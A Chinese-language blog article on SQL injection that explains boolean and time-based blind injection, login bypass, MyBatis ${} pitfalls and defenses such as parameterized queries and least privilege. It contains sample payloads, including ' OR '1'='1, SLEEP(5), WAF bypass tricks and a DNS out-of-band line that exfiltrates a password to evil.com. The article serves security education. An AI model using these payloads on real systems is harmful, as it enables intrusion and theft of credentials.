娱乐

SQL漏洞

时间:2010-12-5 17:23:32  作者:综合   来源:探索  查看:  评论:0
内容摘要:```html 2019年夏天,一个做安全测试的朋友给我发来一张截图。某电商平台的商品详情页URL里,id=1057被他改成了id=1057 AND 1=1,页面正常返回;改成id=1057 AND

```html

2019年夏天,一个做安全测试的朋友给我发来一张截图。某电商平台的商品详情页URL里,id=1057被他改成了id=1057 AND 1=1,页面正常返回;改成id=1057 AND 1=2,页面直接空白。他笑了笑说:“这站随便注。”

这就是SQL注入最经典的布尔盲注判断。代码没做任何过滤,用户输入被直接拼进了SQL语句里。后端大概跑的是这样一句:

SELECT * FROM products WHERE id = 1057 AND 1=1

数据库老老实实执行了。它分不清哪个部分是程序员写的,哪个部分是攻击者塞进来的。

拼接字符串,就是给攻击者递刀

问题根源出在“拼接”这个动作上。很多早期代码是这么写的:

String sql = "SELECT * FROM users WHERE username='" + name + "' AND password='" + pass + "'";

如果用户在密码框里输入 ' OR '1'='1,整条语句变成:

SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'

WHERE子句永远为真。不需要密码,直接登录。这种手法在2000年代初的论坛、CMS系统里泛滥成灾。现在听起来像老掉牙的故事,但每年CVE漏洞库里SQL注入仍然稳居前列。2023年OWASP Top 10里它虽然排到第三,但实际暴露面一点没缩小——因为老系统还在跑,新开发者还在犯同样的错。

不是只有“1=1”这么简单

有人觉得防SQL注入就是过滤掉单引号和等号。太天真了。

盲注场景下,攻击者可以用时间延迟来判断信息。比如MySQL里输入:

id=1057 AND SLEEP(5)

如果页面卡了五秒才响应,说明注入成功。接下来可以逐字符猜数据库名、表名、字段内容。一个字母一个字母地试,用SUBSTRING配合ASCII比较。整个过程自动化脚本跑,几分钟就能拖出管理员密码哈希。

更隐蔽的是利用DNS解析带外数据。输入LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.evil.com\\a')),数据库会把密码拼进域名去请求DNS,攻击者在自己DNS服务器日志里直接看到明文。这种手法绕过了所有基于HTTP响应内容的检测。

预编译不是万能药,但不用它万万不能

参数化查询(Prepared Statement)是目前最可靠的防御手段。原理很简单:SQL语句的结构先发给数据库编译,参数值后传,数据库不会把参数值当代码执行。

Java里用PreparedStatement,Python里用cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,)),PHP里用PDO的bindParam。关键点是:参数值永远不参与SQL语法解析。

但有个坑——表名、字段名、ORDER BY后面的列名,这些不能用参数化。因为预编译只针对值,不针对标识符。很多框架提供白名单映射,比如if (sortField.equals("name")) { orderBy = "name"; }。直接拼ORDER BY ${ column}照样中招。

ORM也救不了懒人

Hibernate、MyBatis这些ORM框架默认用参数化,但开发者一旦图方便写原生SQL拼接,漏洞立刻回来。我见过一个MyBatis的XML映射文件里写着:

SELECT * FROM logs WHERE type = '${ type}'

注意是${ }不是#{ }。${ }是直接字符串替换,#{ }才是预编译占位符。一字之差,整个系统裸奔。

还有个常见误区:用了ORM就安全。如果ORM底层调用了createNativeQuery或者EntityManager.createQuery时拼接了用户输入,一样完蛋。工具永远替代不了对数据流向的清醒认知。

WAF只是创可贴

不少公司部署了WAF就觉得自己安全了。WAF能拦一些通用payload,但绕过手法层出不穷:大小写混写、内联注释/*!50000SELECT*/、URL二次编码、分块传输。攻击者花几分钟就能找到绕过规则。

WAF的正确位置是纵深防御的一层,不是唯一一层。代码层面的参数化查询才是根本。数据库账号权限最小化——Web应用连数据库的账号不该有FILE权限、不该能读information_schema以外的库——这些基本功比买什么高级设备都管用。

写到这里想起那个朋友后来补了一句:“最可怕的不是漏洞本身,是开发觉得‘我的代码不会被注’。” SQL注入二十多年了,原理没变过,变的是攻击者的耐心和自动化程度。你少写一个#,别人就能多拿一个库。

```
最近更新
热门排行
copyright © 2026 powered by 力不从心网   sitemap